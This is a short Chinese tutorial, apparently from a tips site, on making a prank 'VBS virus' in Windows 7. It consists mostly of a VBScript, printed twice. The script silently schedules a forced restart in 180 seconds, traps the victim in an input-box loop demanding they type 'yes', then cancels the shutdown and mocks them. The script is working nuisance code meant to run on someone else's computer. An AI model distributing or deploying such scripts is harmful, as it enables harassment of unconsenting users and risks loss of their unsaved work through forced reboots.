在平时的生活工作中，我们偶尔会无聊，因此就想搞点事情出来，于是有人就想制作vbs病毒，可是很多人不知道Windows7怎么制作vbs病毒？为此小编赶紧整理了Windows7制作vbs病毒教程，感兴趣的朋友可以来看看。

　　方法/步骤：

　　1、首先，打开记事本。

　　2、输入代码（整人级）：

1. 01dim WSHshellA
2. 02set WSHshellA = wscript.createobject("wscript.shell")
3. 03WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""你就是笨蛋？"" ",0 ,true
4. 04dim a
5. 05do while(a <> "是")
6. 06a = inputbox ("说是，不说我就关你的机。不信？来试试。 ","说不说","不是",8000,7000)
7. 07msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
8. 08loop
9. 09msgbox chr(13) + chr(13) + chr(13) + "哈哈"
10. 10dim WSHshell
11. 11set WSHshell = wscript.createobject("wscript.shell")
12. 12WSHshell.run "cmd.exe /c shutdown -a",0 ,true
13. 13msgbox chr(13) + chr(13) + chr(13) + "你被我耍了"

dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""你就是笨蛋？"" ",0 ,true dim a do while(a <> "是") a = inputbox ("说是，不说我就关你的机。不信？来试试。 ","说不说","不是",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "哈哈" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "你被我耍了"